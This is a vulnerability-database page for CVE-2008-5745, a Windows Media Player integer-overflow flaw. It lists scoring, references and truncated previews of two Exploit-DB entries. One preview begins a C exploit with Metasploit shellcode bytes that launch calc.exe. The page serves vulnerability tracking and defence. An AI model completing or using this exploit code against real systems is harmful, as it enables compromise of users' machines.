CVE-2008-5745
published 2008-12-29CVE-2008-5745: Integer overflow in quartz.dll in the DirectShow framework in Microsoft Windows Media Player (WMP) 9, 10, and 11, including 11.0.5721.5260, allows remote…
PriorityP426medium4.3CVSS 2.0
AVNACMAuNCNINAP
EXPLOIT
EPSS
21.44%
97.3th percentile
Integer overflow in quartz.dll in the DirectShow framework in Microsoft Windows Media Player (WMP) 9, 10, and 11, including 11.0.5721.5260, allows remote attackers to cause a denial of service (application crash) via a crafted (1) WAV, (2) SND, or (3) MID file. NOTE: this has been incorrectly reported as a code-execution vulnerability. NOTE: it is not clear whether this issue is related to CVE-2008-4927.
Affected
3 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| microsoft | windows_media_player | — | — |
| microsoft | windows_media_player | — | — |
| microsoft | windows_media_player | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Microsoft Windows Media Player 9/10/11 - '.WAV' File Parsing Code Execution
exploitdb·2008-12-29
CVE-2008-5745 Microsoft Windows Media Player 9/10/11 - '.WAV' File Parsing Code Execution
Microsoft Windows Media Player 9/10/11 - '.WAV' File Parsing Code Execution
---
// source: https://www.securityfocus.com/bid/33042/info
Microsoft Windows Media Player is prone to a code-execution vulnerability.
An attacker can exploit this issue by tricking an unsuspecting victim into opening a malicious file with the vulnerable application. A successful exploit will allow arbitrary code to run in the context of the user running the application.
#include
int main()
{
/* win32_exec - EXITFUNC=process CMD=calc.exe Size=138 Encoder=None http://metasploit.com */
unsigned char scode[] =
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b"
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99"
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04"
"\x7
Exploit-DB
Microsoft Windows Media Player - '.wav' Remote Crash (PoC)
exploitdb·2008-12-28
CVE-2008-5745 Microsoft Windows Media Player - '.wav' Remote Crash (PoC)
Microsoft Windows Media Player - '.wav' Remote Crash (PoC)
---
----------------------------------------------------------------------------------------|
MS Windows Media Player * (.WAV) Remote Integrer Overflow |
|
Application: ALL Windows Media player |
|
Web Site: www.microsoft.com |
|
Platform: Windows ALL |
|
Bug: Remote Integrer Overflow |
|
Tested agains: WMP 9, 10, 11, vista sp1, windows 7(from the HEC leak), windows XP sp3 |
|
Merry-Christmas to all ;) |
----------------------------------------------------------------------------------------|
|
1) Introduction |
|
2) Bug |
|
3) Proof of concept |
|
4) Credits |
|
------------------------|
------------------------|
1) Introduction |
|
------------------------|
"Windows Media Player 11 for Windows XP offers great new ways to sto
No writeups or analysis indexed.
http://securityreason.com/securityalert/4823http://www.securityfocus.com/archive/1/499579/100/0/threadedhttp://www.securityfocus.com/bid/33018http://www.securitytracker.com/id?1021495https://exchange.xforce.ibmcloud.com/vulnerabilities/47664https://www.exploit-db.com/exploits/7585http://securityreason.com/securityalert/4823http://www.securityfocus.com/archive/1/499579/100/0/threadedhttp://www.securityfocus.com/bid/33018http://www.securitytracker.com/id?1021495https://exchange.xforce.ibmcloud.com/vulnerabilities/47664https://www.exploit-db.com/exploits/7585
2008-12-29
Published